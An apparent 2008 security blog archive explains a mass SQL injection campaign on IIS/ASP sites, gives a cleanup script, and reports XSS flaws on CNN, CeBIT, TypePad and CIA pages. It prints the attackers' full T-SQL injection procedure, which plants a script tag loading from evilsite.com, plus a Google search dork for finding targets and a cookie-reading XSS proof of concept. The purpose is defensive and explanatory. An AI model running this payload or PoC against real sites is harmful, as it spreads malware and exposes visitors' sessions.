Archive for April, 2008

Reports about the massive infection of web sites by an automated tool, whose most recent prominent victims have been United Nations, UK Government and the U.S. Department of Homeland Security raised some recurring questions which are worth answering.

  1. The attack is targeting Microsoft IIS web servers. Is there a Microsoft vulnerability?
  2. What can I do if I'm the administrator of an infected site?
  3. What should I do as an user to protect myself?
  4. How can NoScript protect if the compromised sites are in my trusted whitelist?

"Exploits of a Mom" by xkcd

  1. The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?

    Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
    That said, the attackers are targeting IIS web servers which run ASP for a reason.
    Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:

    DECLARE @T varchar(255), @C varchar(255);
    DECLARE Table_Cursor CURSOR FOR
    SELECT a.name, b.name
    FROM sysobjects a, syscolumns b
    WHERE a.id = b.id AND a.xtype = 'u' AND
    (b.xtype = 99 OR
    b.xtype = 35 OR
    b.xtype = 231 OR
    b.xtype = 167);
    OPEN Table_Cursor;
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    WHILE (@@FETCH_STATUS = 0) BEGIN
    EXEC(
    'update [' + @T + '] set [' + @C + '] =
    rtrim(convert(varchar,[' + @C + ']))+
    ''<script src=http://evilsite.com/1.js></script>'''
    );
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    END;
    CLOSE Table_Cursor;
    DEALLOCATE Table_Cursor;

    This is the "secret sauce" which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology -- but it's a feature, not a bug (no irony intended this time). Anyway, the chances for such "powerful" DB technology of being used in conjunction with web servers different than IIS are very low.
    So, to recap:

    1. There's no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
    2. SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
    3. Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.

    In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn't really grow enough security awareness to develop safe internet-facing applications.

  2. What should I do if I'm the administrator of an infected site?

    First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
    In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it's a merely temporary work-around -- the solution is fixing the code (learn from the United Nations tale).
    If you've got no clean database backup, you could try to recover by brutally reversing the SQL attack:

    DECLARE @T varchar(255), @C varchar(255);
    DECLARE Table_Cursor CURSOR FOR
    SELECT a.name, b.name
    FROM sysobjects a, syscolumns b
    WHERE a.id = b.id AND a.xtype = 'u' AND
    (b.xtype = 99 OR
    b.xtype = 35 OR
    b.xtype = 231 OR
    b.xtype = 167);
    OPEN Table_Cursor;
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    WHILE (@@FETCH_STATUS = 0) BEGIN
    EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
    convert(varchar(8000), ['+@C+']),
    len(convert(varchar(8000), ['+@C+'])) - 6 -
    patindex(''%tpircs<%'',
    reverse(convert(varchar(8000), ['+@C+'])))
    )
    where ['+@C+'] like ''%<script%</script>'''
    );
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    END;
    CLOSE Table_Cursor;
    DEALLOCATE Table_Cursor;

    This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with

    EXEC(
    'update [' + @T + '] set [' + @C + '] =
    rtrim(convert(varchar,[' + @C + ']))+
    ''<script src=http://evilsite.com/1.js></script>'''
    );

    it locates and removes it with

    EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
    convert(varchar(8000), ['+@C+']),
    len(convert(varchar(8000), ['+@C+'])) - 6 -
    patindex(''%tpircs<%'',
    reverse(convert(varchar(8000), ['+@C+'])))
    )
    where ['+@C+'] like ''%<script%</script>'''
    );

    Notice that I've not tested my code above, and I'm just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
    Update: now it's debugged and "tested" (i.e. it works) on SQL Server 2005 (thanks Scott), but the "use it at your own risk" disclaimer still applies.

  3. What should I do as an user to protect myself?

    OK, this one is the easiest :)

  4. How can NoScript protect if the compromised sites are in my trusted whitelist?

    Even if the compromised site is in your whitelist, allowed to run JavaScript, the actual attack is thrown by a tiny IFrame or a script inclusion which just pulls the malicious code from an external server in control of the attacker (usually in a Chinese or Russian domain registered for this purpose) and surely not in your whitelist. This is quite reasonable: since SQL vulnerabilities are not suitable for injecting large chunks of malicious code, and such an attack cannot write Flash applets or JavaScript files on the filesystem of the compromised server, the attacker needs to download them from somewhere else.
    Therefore NoScript's fine grained script blocking prevents them from being loaded and effectively defeats the attack.

One of my early Hackademix posts was about SQL injection vulnerabilities exploited to deface the United Nations main web site. In a later update I explained how, rather than fixing their holes properly, the U.N. technicians deployed a pretty useless Web Application Firewall, masking the most obvious attack surface but keeping their sites just as vulnerable as before.

Now WebSense is reporting that both the United Nations and the UK Government have web pages affected by the infamous "Mass Malicious JavaScript Attack", which has been spreading since January across thousands of sites, bombing visitors with a chain of 8 client-side exploits triggered by an external script hosted on remote servers (e.g.

www.nihaorr1.com

).
These exploits leverage a Microsoft Internet Explorer 7 vulnerability patched last year (bad guys seem not to trust Windows Update effectiveness), “as well as [bugs in] other applications”. Well, since modern browsers embed a lot of "other applications" which are usually quite vulnerable, maybe a good idea (actually the only sane idea, other than reverting to Lynx) is switching to a safe web browser and -- shameless plug(in) -- making it even safer by preemptively blocking execution of malicious scripts and embedded content. On a side note, Opera's web site preferences couldn't help in cases like these, when the compromised site is probably among the ones you trust, allowed to run scripts; NoScript, instead, still blocks the external malicious code even if the main page is in your whitelist.

As previously explained by SANS, the

<script>

tag importing the malicious JavaScript code is inserted into the victim web pages through trivial SQL injection vulnerabilities, so much trivial that an automated tool has been used to find vulnerable sites through Google and infect them with the payload.
The default search pattern of this tool is

inurl:".asp" inurl:"a="

: in English, "those web pages developed with Microsoft Active Server Pages technology and accepting query string parameters". Unsurprisingly, this profile matches the original, still unpatched U.N. SQL injection; as I already said reporting the first accident, I believe crackers primarily target ASP sites (even though they are relatively few nowadays) because of the poor coding standards often shown by ASP coders, who usually have a Visual Basic desktop programming background and are less aware of web application security.

At any rate, some simple googling reveals that some U.N. sites are still infected, while UK Government sites have been "cleaned up".
The sad truth, though, is that even those "clean" sites are still vulnerable, hence they could be reinfected at any time: some people just never learn...

When I started implementing NoScript's Anti-XSS filters, about one year ago, they were admittedly over-zealous, detecting too many false positives.

But a lot of work has been done since then, and today I'm very proud of the Injection Checker component, which is capable of spotting reflective XSS attacks, no matter how exotic or obfuscated they are, with extreme accuracy and the lowest false positive rate.
A sla.ckers thread entirely dedicated to hacking NoScript has not gone much far (special thanks to Gareth Heyes, by the way, for the few issues he actually found). On the other hand, the engine became smart enough to recognize syntactically valid JSON as innocuous and let it pass through, while any Web IDS out there would just scream fire.

Hence the very few (3 in 3 months) false positive reports I received recently brought me to investigate the sites, rather than NoScript's behavior, and the finding have been quite interesting...

CNN: Vulnerable by Design

A NoScript user complains about popups on cnn.com triggering XSS warnings, and wants to know how to disable them.
I answer as I always do, asking him to open the Error Console and send me the lines starting with "[NoScript XSS]", which detail the URLs where the problems happen and the filtering actions taken by NoScript. In his case,

[NoScript XSS] Sanitized suspicious request.
Original URL [http://www.cnn.com/cnn_adspaces/dart_ads/2007/12/21/orbitz.html
?clk=http://ads.cnn.com/event.ng/Type%3dclick%26FlightID%3d103458
%26AdID%3d160329%26TargetID%3d1095%26Values%3d1588%26Redirect%3d
&imp=%3Cimg%20src%3D%22http%3A//ads.cnn.com%3A80/event.ng/Type%3Dcount%26ClientType
%3D2%26AdID%3D160329%26FlightID%3D103458%26TargetID%3D1095%26SiteID%3D1588
%26EntityDefResetFlag%3D0%26Segments%3D730%2C2592%2C2743%2C3030%2C3285%2C6298%2C8463
%2C8796%2C9496%2C9779%2C9781%2C9853%2C10381%2C13153%2C13760%2C14173%2C14248
%2C14401%2C14402%2C14734%2C14735%2C14736%2C14757%2C14758%2C14760%2C14863%2C14864
%2C14879%2C14887%2C14960%2C14961%2C15022%2C15031%2C15032%2C15033%26Targets%3D1095
%2C2742%2C1515%2C24516%2C26849%2C28114%26Values%3D30%2C46%2C50%2C60%2C72
%2C84%2C90%2C100%2C110%2C150%2C682%2C917%2C1067%2C1285%2C1557%2C1588
%2C1601%2C1604%2C1678%2C1735%2C1815%2C2677%2C4405%2C4413%2C4418%2C4438
%2C37353%2C47181%2C47458%2C49282%2C49553%2C49657%2C49935%2C52263%2C52508%2C52897
%2C54681%2C54738%2C54765%2C55058%2C55059%2C55695%26RawValues%3D
%26random%3Dkxauis%2CbdWjwiovNwhlK%22%20width%3D1%20height%3D1%20border%3D0%3E
&rand=kxauis,bdWjwiovNwhlK]

Careful readers already noticed the weird imp parameter, which can be unescaped into

<img src="http://ads.cnn.com:80/event.ng/Type=count&ClientType=2&
[...]random=kxauis,bdWjwiovNwhlK" width=1 height=1 border=0>

Ehy, they're passing HTML fragments around in query parameters... no wonder NoScript cries. But they're the CNN, they surely know what they're doing and won't allow arbitrary injections, will they? Let's look at the code, perhaps we'll learn some new best practice:

<script language="javascript"><!--

//SCRIPT TO PARSE PASSED VALUES

var clk;
var imp;
var rand;
var urlQuery = ( location.search ) ? location.search : '';
var queryString = (( urlQuery != '' ) && ( location.search.charAt( 0 ) == '?' )) ? urlQuery.substring( 1 ) : urlQuery;
var pairs = queryString.split("&");

Thanks for this wonderful tip on how to write

var pairs = location.search.replace(/^\?/, '').split("&");

in a maintenable and readable form! Let's dig for other treasures...

for (i=0; i < pairs.length; i++) {

var pos = pairs[i].indexOf('=');
if (pos == -1) continue;
var argname = pairs[i].substring(0, pos);
var value = pairs[i].substring(pos+1);

Right, one

split()

per script is enough: let's revert to good old string manipulation, especially in loops!

if(argname == "clk") {
clk = value;
clk = unescape(clk);
}
if (argname == "imp") {
imp = value;
}
if(argname == "rand") {
rand = value;
}
}

Mmm, they're clearly parsing query parameters into variables. Wonder what they want to do with them?

//SCRIPT TO WRITE CLIENT CODE WITH CLICKTHRU

document.write("<IFRAME SRC='http://ad.doubleclick.net/adi/N2870.cnn/B2094897;sz=720x300;click="+
clk+";ord="+rand+
"?' WIDTH=720 HEIGHT=300 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'>");
document.write("</IFRAME><br><br>");

Ahem, were clk and rand entity-escaped? Looks like they already put a couple of XSS insertion points here...
But the best part has to come yet:

//SCRIPT TO WRITE $SMARTCOUNT$

imp = unescape(imp);
document.write(imp);
-->
<script language="javascript">

Ouch, $SMARTCOUNT$ is the <img> code above (likely a tracking image), ant it gets injected verbatim inside the page!

So, to recap, CNN advertising system intentionally uses XSS to insert Web Bugs, and calls this clever solution Smart Count!

CeBIT: Even More Vulnerable by Design

For those who don't know it, "CeBIT is the world's largest trade fair showcasing digital IT and telecommunications solutions for home and work environments".

Date: 17 Feb 2008 19:52:43 +0100
Subject: XSS false positive on CEBIT.DE

Hi,

I experienced problems using noscript on http://www.cebit.de/ when
registering tickets online. Just try to login as a test. Even when
allowing JS in Noscript it still complains about loading insecure
content. Will be an issue for quite a lot german users in the next month.

Thanks for your great work!

Greetings from Germany,
Jan

Date: 17 Feb 2008 20:12:01 +0100
Subject: Re: XSS false positive on CEBIT.DE [NoScript]

Hi Jan,

it's not a false positive.
The registration system is quite brain damaged, using XSS to communicate back and forth.
Whoever implemented it, has no idea of what web security is.

The "false positive" URL is

http://www.cebit.de/suche/registrationController.html?backval=
%3Chtml%3E%0A+%3Chead%3E%0A++%3Cscript+language%3D%22javascript%22%3E
%0A++++try+%7B%0A+++++if+%28parent.callback_login%29+%7B
%0A++++++parent.callback_login%28%27-1%27%29%3B%0A+++++%7D
%0A++++%7D+catch+%28e%29+%7B%0A++++++alert%28e%29%3B
%0A++++%7D%0A++%3C%2Fscript%3E%0A+%3C%2Fhead%3E
%0A+%3Cbody%3E%0A+%3C%2Fbody%3E%0A%3C%2Fhtml%3E%0A

or, unescaped:

http://www.cebit.de/suche/registrationController.html?backval=
<html><head><script language="javascript">
try { if (parent.callback_login) { parent.callback_login('-1'); } }
catch (e) { alert(e); } </script></head>
<body></body></html>

As you can see it's a whole web page, including script, posted as a "backval" variable to be injected, smelling a gaping vulnerability.

Just try this "classic" PoC:

http://www.cebit.de/suche/registrationController.html?backval=
<script>alert(document.cookie)</script>

So, NoScript is absolutely right and they need to fix their site as soon as possible.

Cheers
--
Giorgio

Date: 17 Feb 2008 20:32:35 +0100
Subject: Re: XSS false positive on CEBIT.DE [NoScript]

Hi,

ok you are right. Its braindead. Sorry, I did not really check it! Looks quite exploitable. I will inform cebit and later the press (heise.de).

Greetings,
Jan

Opening http://www.cebit.de/ with cebit.de in your NoScript whitelist still triggers (rightful) XSS notifications because of a full web page embedded in the query string.
The only difference now is that an extra parameter called

code

has been added: from a cursory inspection, it seems they're checking some hash of the HTML (probably stored in session) before inserting. A poor patch for a sublimely poor design...

TypePad: OK, Shit Just Happens

Date: 15/04/2008 22.17
Subject: NoScript Bug

You guys make NoScript, right?
[...]
You might want to add ^http://www.typepad.com/t/comments$ to the
default Anti-XSS Protection exceptions. It's ridiculously common and
it always triggers an "unsafe reload" but you can't post to TypePad
blogs without allowing it and I don't think it's actually harmful.

- Matt

From a philosophical point of view, TypePad stands way better than CNN and CeBIT: at least they seem to know XSS is dangerous and don't "use" it by design.
However that very URL is vulnerable at first shot, and it may even be a persistent injection (I didn't verify, because the test blog was moderated).
Considering that it's "ridiculously common", I do think it's "actually harmful".

Conclusion

Given the current sensitivity/accuracy balance of NoScript's Injection Checker, I'm unlikely to add any new default XSS Protection exception: I'm actually more inclined to remove the three original ones.
But if you're the owner of a ridiculously popular "web property" and you feel you deserve a XSS filtering exemption, feel free to contact InformAction's sales department and request a quotation for a full "NoScript Certified" Package (vulnerability scanning + web security assessment + code audit + weekly test annual subscription). It's gonna be ridiculously expensive and no, Scanless PCI definitely cannot surrogate ;)

I've seen it on Planet Mozilla first, but it apparently traveled through other planets.
Landing on Planet WebSecurity now...

[ma1@harpo]$ history|awk '{a[$2]++ } END{for(i in a){print a[i] " " i}}'|sort -rn|head
151 su
72 vi
40 ll
38 perl
37 ssh
35 cd
32 awk
15 grep
11 exit
9 makeswf
6 wget

I guess it means I feel a bit constrained and need to escalate my privileges too much often :P

Just read on Wired: Finnish Harry Sintonen reported a cross-site scripting vulnerability on CIA's web site.
The article has been published yesterday, the bug is not fixed yet... I can't believe secret service über-geeks do not read their logs: it must be a sneaky honey pot to convict hax0rs, dangerous Wired readers and possibly open source terrorists!

Actually, I could see quite a number of gaping XSS holes just on that search page which, as you can notice, is served through HTTPS, making it an excellent phishing hook.
I wonder if there's also a reserved area (e.g. a CMS) somewhere on the same domain (cookies, yum!)

Even if it's classified information, Wired itself revealed that attacks of this kind fail if you use Firefox + NoScript.
Am I already an Al-Qaeda target?

Bad Behavior has blocked 1126 access attempts in the last 7 days.